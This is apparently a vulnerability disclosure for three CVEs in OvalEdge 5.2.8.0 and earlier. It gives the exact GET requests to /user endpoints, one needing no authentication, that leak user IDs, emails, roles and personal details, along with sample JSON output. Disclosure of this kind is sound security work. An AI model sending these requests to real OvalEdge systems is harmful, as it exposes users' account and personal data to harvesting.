# Sensitive Data Exposure

## Sensitive Data Exposure (unauthenticated) <a href="#finding1" id="finding1"></a>

### CVE-2022-30361

#### OvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to <mark style="color:orange;">/user/getUserType</mark>. No authentication is required. The information disclosed is associated with the registered user ID, status, email address,  role(s),  user type, license type, and personal details such as first name, last name, gender, and user preferences.

{% hint style="warning" %}
**<https://example.com/ovaledge>**<mark style="color:orange;">**/user/getUserType?userid=**</mark><mark style="color:red;">**admin**</mark>
{% endhint %}

#### Example Output

<details>

<summary><strong><code>{"userId":"</code></strong><mark style="color:red;"><strong><code>admin</code></strong></mark><strong><code>","password":"[SECRET]","fName":"Admin","lName":"OvalEdge","gender":"Male","pPhone":"","email":"</code></strong><mark style="color:red;"><strong><code>admin@ovaledge.com</code></strong></mark><strong><code>","address":null,"role":"</code></strong><mark style="color:red;"><strong><code>OE_ADMIN</code></strong></mark><strong><code>","title":"Admin","message":null,"name":"Admin OvalEdge","userType":"</code></strong><mark style="color:red;"><strong><code>ovaledge</code></strong></mark><strong><code>","status":"</code></strong><mark style="color:red;"><strong><code>active</code></strong></mark><strong><code>","lastmoddate":"2022-05-01 20:48:59.0","token":"","cityState":null,"slackId":"","notifyViaEmail":0,"zip":0,"outOfOffice":0,"managerid":null,"dgmanagerid":null,"dcmanagerid":null,"allowUserMentions":1,"allowWatchListAlert":1,"allowSystemAlert":1,"allowDqrAlert":0,"allowServiceDeskAlert":0,"licenseTypeCode":3,"licenseType":"Author &#x26; Analytical User","userSecret":null,"allowTeamAlert":1,"teamMessageUser":false,"allowUpdateOwner":1,"startIndex":0,"endIndex":0,"notifyViaSlack":0,"allowDqpAlert":0}</code></strong></summary>

</details>

## Sensitive Data Exposure (authenticated)  <a href="#finding2" id="finding2"></a>

### CVE-2022-30354

#### OvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to <mark style="color:orange;">/user/getUserWithTeam</mark>.  Authentication is required. The information disclosed is associated with <mark style="color:red;">all</mark> registered user ID login values.

{% hint style="warning" %}
**<https://example.com/ovaledge>**<mark style="color:orange;">**/user/getUserWithTeam**</mark>
{% endhint %}

#### Example Output

<details>

<summary>[{"userId":"#AIM"},{"userId":"adjensen@example.com"},{"<mark style="color:red;">userId</mark>":"<mark style="color:red;">admin</mark>"},{"userId":"afacer@example.com"},{"userId":"avega@example.com"},{"userId":"bbell@example.com"},{"userId":"bbutterfield@example.com"},{"userId":"bparkin@example.com"},{"userId":"brees@example.com"},{"userId":"cgriffin@example.com"},{"userId":"clee"},{"userId":"cmunford@example.com"},{"userId":"cng@example.com"},{"userId":"cnoel@example.com"},{"userId":"crodriguez@example.com"},{"userId":"cromney@example.com"},{"userId":"cstahle@example.com"},{"userId":"dgatrell@example.com"},{"userId":"dgilbert@example.com"},{"userId":"dgodfrey@example.com"},{"userId":"dhubbard@example.com"},{"userId":"djennings@example.com"},{"userId":"ewilkes@example.com"},{"userId":"gfawson@example.com"},{"userId":"hethington@example.com"},{"userId":"hsederholm@example.com"},{"userId":"idial@example.com"},{"userId":"ipetersen@example.com"},{"userId":"jhall@example.com"},{"userId":"jhurford-reynolds@example.com"},{"userId":"jjohnson@example.com"},{"userId":"jkippen@example.com"},{"userId":"jmerritt@example.com"},{"userId":"joverson@example.com"},{"userId":"jromer@example.com"},{"userId":"kacker@example.com"},{"userId":"kculbertson@example.com"},{"userId":"kgines@example.com"},{"userId":"knipko@example.com"},{"userId":"lbailey@example.com"},{"userId":"lmesserly@example.com"},{"userId":"meparkinson@example.com"},{"userId":"moveson@example.com"},{"userId":"rcwoolston@example.com"},{"userId":"rhoeft@example.com"},{"userId":"rthompson@example.com"},{"userId":"speacock@example.com"},{"userId":"sravi@example.com"},{"userId":"syannetta@example.com"},{"userId":"tbrown@example.com"},{"userId":"tkershaw@example.com"},{"userId":"tlevans"},{"userId":"tmoses@example.com"},{"userId":"tspencer@example.com"},{"userId":"ukonkepudi@example.com"},{"userId":"zkoger@example.com"}]</summary>

</details>

## Sensitive Data Exposure (authenticated) <a href="#finding3" id="finding3"></a>

### CVE-2022-30359

#### OvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to <mark style="color:orange;">/user/getUserList</mark>.  Authentication is required. The information disclosed is associated with the <mark style="color:red;">all registered users</mark>, including user ID, status, email address,  role(s),  user type, license type, and personal details such as first name, last name, gender, and user preferences.

{% hint style="warning" %}
**<https://lxo-ovaledge.afcucorp.local/ovaledge>**<mark style="color:orange;">**/user/getUserList**</mark>
{% endhint %}

#### **Example Output**

<details>

<summary>[{"<mark style="color:red;">userId</mark>":"<mark style="color:red;">adjensen@example.com</mark>","password":"[SECRET]","fName":"Adam","lName":"Jensen","gender":null,"pPhone":"","<mark style="color:red;">email</mark>":"<mark style="color:red;">adjensen@example.com</mark>","address":null,"<mark style="color:red;">role</mark>":"<mark style="color:red;">CONTENT_CREATOR</mark>","title":"","message":null,"name":"Adam Jensen","<mark style="color:red;">userType</mark>":"<mark style="color:red;">SAML</mark>","<mark style="color:red;">status</mark>":"<mark style="color:red;">ACTIVE</mark>","lastmoddate":"2022-03-09 15:04:50.0","token":null,"cityState":null,"slackId":null,"notifyViaEmail":1,"zip":0,"outOfOffice":0,"managerid":null,"dgmanagerid":null,"dcmanagerid":null,"allowUserMentions":1,"allowWatchListAlert":1,"allowSystemAlert":1,"allowDqrAlert":1,"allowServiceDeskAlert":1,"<mark style="color:red;">licenseTypeCode</mark>":<mark style="color:red;">3</mark>,"<mark style="color:red;">licenseType</mark>":"<mark style="color:red;">Author &#x26; Analytical User</mark>","userSecret":null,"allowTeamAlert":0,"teamMessageUser":false,"allowUpdateOwner":0,"startIndex":0,"endIndex":0,"notifyViaSlack":0,"allowDqpAlert":0},{"<mark style="color:red;">userId</mark>":"<mark style="color:red;">admin</mark>","password":"[SECRET]","fName":"Admin","lName":"OvalEdge","gender":"Male","pPhone":"","<mark style="color:red;">email</mark>":"<mark style="color:red;">gheward@example.com</mark>","address":null,"<mark style="color:red;">role</mark>":"<mark style="color:red;">OE_ADMIN</mark>","title":"Admin","message":null,"name":"Admin OvalEdge","<mark style="color:red;">userType</mark>":"<mark style="color:red;">ovaledge</mark>","<mark style="color:red;">status</mark>":"<mark style="color:red;">active</mark>","lastmoddate":"2022-05-01 20:48:59.0","token":"","cityState":null,"slackId":"","notifyViaEmail":0,"zip":0,"outOfOffice":0,"managerid":null,"dgmanagerid":null,"dcmanagerid":null,"allowUserMentions":1,"allowWatchListAlert":1,"allowSystemAlert":1,"allowDqrAlert":0,"allowServiceDeskAlert":0,"<mark style="color:red;">licenseTypeCode</mark>":<mark style="color:red;">3</mark>,"<mark style="color:red;">licenseType</mark>":"<mark style="color:red;">Author &#x26; Analytical User</mark>","userSecret":null,"allowTeamAlert":1,"teamMessageUser":false,"allowUpdateOwner":1,"startIndex":0,"endIndex":0,"notifyViaSlack":0,"allowDqpAlert":0},.........}]</summary>

</details>